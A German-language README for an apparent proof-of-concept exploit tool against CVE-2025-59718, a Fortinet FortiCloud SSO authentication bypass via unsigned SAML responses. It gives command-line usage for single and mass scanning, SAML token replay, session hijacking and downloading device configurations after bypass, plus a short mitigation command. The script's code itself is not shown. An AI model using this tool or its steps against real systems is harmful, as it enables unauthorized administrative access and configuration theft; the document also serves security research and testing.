
Fortinet kündigte am 9. Dezember 2025 zwei eng miteinander verwandte Schwachstellen zur Umgehung der Authentifizierung an. Beide Fehler betreffen eine nicht ordnungsgemäße Überprüfung kryptografischer Signaturen (CWE‑347) bei der Verarbeitung von SAML-Antworten für die FortiCloud-SSO-Anmeldefunktion.
Dieses Tool ist ein Proof-of-Concept-Exploit-Skript (PoC) für CVE-2025-59718, eine kritische Schwachstelle zur Authentifizierungsumgehung in Fortinet-Produkten (z. B. FortiOS, FortiProxy, FortiSwitchManager), die auf einer fehlerhaften Überprüfung kryptografischer Signaturen in SAML-Nachrichten für FortiCloud-SSO beruht. Die Schwachstelle ermöglicht nicht authentifizierten entfernten Angreifern, die Authentifizierung zu umgehen und administrativen Zugriff zu erlangen, indem sie eine unsignierte SAML-Antwort erstellen und übermitteln.
Wichtiger Hinweis: Dieses Skript ist ausschließlich für Bildungs-, Forschungs- und autorisierte Testzwecke gedacht. Die unbefugte Verwendung gegen Systeme ohne ausdrückliche Genehmigung ist illegal und unethisch. Halten Sie sich stets an die geltenden Gesetze und holen Sie vor dem Testen die entsprechende Genehmigung ein.
Das Skript unterstützt Einzel- oder Massen-Scans von Zielen, optionale Proxy-Nutzung, SAML-Token-Replay- und Session-Hijacking-Simulationen sowie Aktionen nach der Authentifizierung wie das Herunterladen von Konfigurationsdateien. Es verwendet Multithreading für Effizienz und protokolliert Ergebnisse in Dateien zur Analyse.
config system global
set admin-forticloud-sso-login disable
end
pip:
pip install requests argparse
exploit.py).pip install -r requirements.txt
requirements.txt mit: requests und argparse.)chmod +x exploit.py
Führen Sie das Skript mit Python aus:
python exploit.py [options]
--target <IP/Hostname>: Einzelnes Ziel zum Scannen (z. B. 192.168.1.1 oder example.com).--targets <kommagetrennte Liste>: Mehrere Ziele (z. B. 192.168.1.1,example.com).--file <Pfad>: Datei mit einem Ziel pro Zeile.--username <Name>: Benutzername, der im SAML-Payload impersoniert werden soll (Standard: admin).--endpoint <Pfad>: SAML-Login-Endpunkt (Standard: /remote/saml/login).--max-threads <int>: Maximale Anzahl gleichzeitiger Threads (Standard: 10; empfohlenes Maximum: 50).--saml-token <Token>: Base64-codiertes SAML-Token für Replay/Hijacking (optional).--proxy <URL>: Proxy-URL (z. B. http://127.0.0.1:8080).--post-auth-config: Aktiviert das Herunterladen der Konfiguration nach der Authentifizierung (Flag; standardmäßig deaktiviert).--vulnerable-file <Pfad>: Datei zum Speichern anfälliger Ziele (Standard: vulnerable_targets.txt).--output-file <Pfad>: CSV-Datei für Angriffsberichte (Standard: attack_report.csv).Hinweis: Wenn keine Zieloptionen angegeben werden, beendet sich das Skript mit einer Fehlermeldung.
Scan eines einzelnen Ziels:
python exploit.py --target 192.168.1.1 --username admin --proxy http://127.0.0.1:8080
Scannt ein einzelnes Gerät über einen lokalen Proxy und impersoniert dabei admin.
Massen-Scan aus Liste:
python exploit.py --targets 192.168.1.1,example.com --max-threads 20 --post-auth-config
Scannt mehrere Ziele parallel und aktiviert bei Erfolg das Herunterladen der Konfiguration.
Dateibasierter Scan mit Token-Replay:
python exploit.py --file targets.txt --saml-token <base64_token> --endpoint /custom/saml
Verarbeitet Ziele aus targets.txt und versucht Token-Replay/Hijacking.
Nicht-interaktiver Vollscan:
python exploit.py --file targets.txt --username superadmin --max-threads 15 --post-auth-config --output-file results.csv
Benutzerdefinierter Benutzername, hohe Thread-Anzahl, Konfigurationsdownload, benutzerdefinierte Ausgabe.
/api/v2/monitor/system/config/backup herunter.Beispiel für eine CSV-Zeile:
Target,Username,Attack Type,Result,Status Code
https://192.168.1.1,admin,Config Download,Success,200
--proxy zur Fehlersuche verwenden.requests und argparse installiert sind.--max-threads, wenn Ressourcengrenzen erreicht werden.Dies ist ein PoC; Beiträge für Verbesserungen (z. B. bessere Erkennung, zusätzliche Funktionen) sind über Pull-Requests willkommen. Der Fokus liegt auf Sicherheit und Ethik.
Zuletzt aktualisiert: 22. Dezember 2025